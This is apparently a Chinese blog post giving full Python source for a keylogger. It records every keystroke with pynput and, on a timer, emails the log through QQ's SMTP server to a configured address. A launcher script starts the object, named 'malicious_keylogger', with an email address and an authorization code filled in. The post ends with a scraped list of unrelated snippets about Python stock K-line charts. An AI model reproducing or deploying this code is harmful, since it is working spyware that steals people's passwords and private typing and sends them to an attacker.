一、代码

keylogger.py文件

#!/usr/bin/env python

import smtplib

import threading

from pynput import keyboard

# Create Keylogger Class

class KeyLogger:

# Define __init__ variables

def __init__(self, time_interval, email, password):

self.interval = time_interval

self.log = "KeyLogger has started..."

self.email = email

self.password = password

# Create Log which all keystrokes will be appended to

def append_to_log(self, string):

self.log = self.log + string

# Create Keylogger

def on_press(self, key):

try:

current_key = str(key.char)

except AttributeError:

if key == key.space:

current_key = " "

elif key == key.esc:

print("Exiting program...")

return False

else:

current_key = " " + str(key) + " "

self.append_to_log(current_key)

# Create underlying back structure which will publish emails

def send_mail(self, email, password, message):

server = smtplib.SMTP('smtp.qq.com', 587)

server.starttls()

server.login(email, password)

server.sendmail(email, email, message)

server.quit()

# Create Report & Send Email

def report_n_send(self):

send_off = self.send_mail(self.email, self.password, "\n\n" + self.log)

self.log = ""

timer = threading.Timer(self.interval, self.report_n_send)

timer.start()

# Start KeyLogger and Send Off Emails

def start(self):

keyboard_listener = keyboard.Listener(on_press = self.on_press)

with keyboard_listener:

self.report_n_send()

keyboard_listener.join()

2.execute_keylogger.py

#!/usr/bin/env python

import keylogger

# Initialize / create keylogger

malicious_keylogger = keylogger.KeyLogger(10, '2207467@qq.com', 'pxxxxxjbh') #这里不是邮箱密码,而是授权码

# Execute Keylogger

malicious_keylogger.start()

其实将下面的代码直接加到第一人文件也可以:

malicious_keylogger = KeyLogger(10, '2207467@qq.com', 'pxxbh')

malicious_keylogger.start()

二、执行结果

三、备忘

好像输入中文程序就出错。

四、每分钟发邮件

#!/usr/bin/env python

import smtplib

import threading

from pynput import keyboard

# Create Keylogger Class

class KeyLogger:

# Define __init__ variables

def __init__(self, time_interval, email, password):

self.interval = time_interval

self.log = "KeyLogger has started..."

self.email = email

self.password = password

# Create underlying back structure which will publish emails

def send_mail(self, email, password, message):

server = smtplib.SMTP('smtp.qq.com', 587)

server.starttls()

server.login(email, password)

server.sendmail(email, email, message)

server.quit()

# Create Report & Send Email

def report_n_send(self):

send_off = self.send_mail(self.email, self.password, "\n\n" + self.log)

print("发送邮件成功")

timer = threading.Timer(self.interval, self.report_n_send)

timer.start()

# Start KeyLogger and Send Off Emails

def start(self):

self.report_n_send()

malicious_keylogger = KeyLogger(5, '2207467@qq.com', 'pxxxbh')

# Execute Keylogger

malicious_keylogger.start()

https://www.youtube.com/watch?v=3d78_ttGmWI

python程序化 k线指定时间更新_Python项目Keylogger(定时器)相关推荐

  1. python程序化 k线指定时间更新_Python之路 14 K线时间序列管理器

    在上一章中介绍了如何通过实时行情推送的Tick数据合成1分钟K线,并且如何通过1分钟K线来合成更大周期的K线.本章主要介绍如何将K线通过numpy缓存到Array,形成时间序列,并且同时生成一些技术指 ...

  2. python程序化 k线指定时间更新_Python获取股票历史、实时数据与更新到数据库

    要做量化投资,数据是基础,正所谓"巧妇难为无米之炊" 在免费数据方面,各大网站的财经板块其实已提供相应的api,如新浪.雅虎.搜狐...可以通过urlopen相应格式的网址获取数据 ...

  3. python绘制k线图的步骤_Python使用PyQtGraph绘制股票行情K线图

    PyQtGraph是Python平台上一种功能强大的2D/3D绘图库,相对于matplotlib库,由于其在内部实现方式上,使用了高速计算的numpy信号处理库以及Qt的GraphicsView框架, ...

  4. python画k线图_Python绘制K线图

    不管是对量化分析师还是普通的投资者来说,K线图(蜡烛图)都是一种很经典.很重要的工具.在K线图中,它会绘制每天的最高价.最低价.开盘价和收盘价,这对于我们理解股票的趋势以及每天的多空对比很有帮助. 一 ...

  5. python做k线图_python做k线图(15分钟k线的意义)

    北大荒... 大家对图中的巨量高开涨停是什么理解的... 庄家最后的出 日k线图又称阴阳烛,最初是日本米商用来表示米价涨跌状况的工具,后来引入股市,并逐渐风行于东南亚地区.k线图以其直观.立体感强的特 ...

  6. python均线选股_python选股模型均线,已知股票数据,如何用Python绘制k线日对应数据...

    Q1:已知股票数据,如何用Python绘制k线日对应数据 我没遇到过 只是自己写过 有点经验 先确定时间片 然后再把tick插入就行了 Q2:使用python实现ema(指数移动平均的计算) a =  ...

  7. python画k线图_python画k线图

    广告关闭 腾讯云11.11云上盛惠 ,精选热门产品助力上云,云服务器首年88元起,买的越多返的越多,最高返5000元! import datetime import pandas_datareader ...

  8. python画k线_python画k线,python绘制动态k线及均线

    内容导航: Q1:k线图上怎么画线 一般你看K线软件都有画图功能,以同花顺为例,在上方菜单栏找到画图,点击,会在菜单栏下方一行或者屏幕最右边一列出现相应的画图工具. Q2:求教使用python绘制K线 ...

  9. python 股票图表_k线图分析法_【趣味案例】用Python绘制K线图,一眼看清股市状况...

    本文介绍关于[趣味案例]用Python绘制K线图,一眼看清股市状况及神一般的裸k交易法,精髓就这三步,一目了然!精髓就这三步,一目了然!(附图解析)的相关内容. [趣味案例]用Python绘制K线图, ...

最新文章

  1. 网课谁的最好_报补习班,还是“上网课”?利用课余时间提高成绩,网课更加适合...
  2. Zxing生成二维码思路和源码解析
  3. 如何关闭Visual Assist?
  4. 4、计算机图形学——光栅化、抗锯齿、画家算法和深度缓冲算法(Z-buffer)
  5. 针对自己网站内容的搜索引擎代码
  6. jQuery-基本选择器的种类
  7. 3.1 《数据库系统概论》SQL概述及数据定义(模式SCHEMA、表TABLE、索引INDEX)
  8. 《Head First 设计模式》学习笔记——状态模式
  9. CSS3 FlexBox布局入门简析
  10. python pip install pillow_Windows下Python中pip安装Pillow报错总结(转载)
  11. mysql binlog ignore db_MySQL binlog_ignore_db 参数的具体使用
  12. linux dlopen 源码,采用dlopen、dlsym、dlclose加载动态链接库
  13. java 中如何连接 oracle 数据库
  14. 使用axis的工具类 wsdl2java生成java代码,利用CXF wsdl2java生成java代码以及施用Apache Axis 1.4 wsdl2java生成java代码...
  15. 飞凌单片机解密_常见的IC芯片解密方法与原理解析!
  16. diskmark使用教程
  17. #java读书笔记#基础知识
  18. 理想电压源和理想电流源
  19. 【有利可图网】双十一“亮眼”设计大赏来了!!
  20. 看这里,教你如何快速将pdf文件翻译成中文

热门文章

  1. Android系统服务(SystemService)简介
  2. eviews曲线图怎么做_Eviews作图操作
  3. python如何爬取动态网页数据
  4. 未来天择计算机,三体吧关于计算机智能进化的讨论,拿来大家考虑一下
  5. Android10.0(Q) 默认应用设置(电话、短信、浏览器、主屏幕应用)
  6. 计算机组装竞赛结束词,技能大赛主持词结尾模板
  7. 陈景润定理不代表国际数学发展主流方向
  8. AI实现亲人“复活”|老照片修复|老照片上色,免费APP推荐
  9. 国密SM2前端加密,Java后台解密问题
  10. Javascript如何判断按下的是鼠标左键还是右键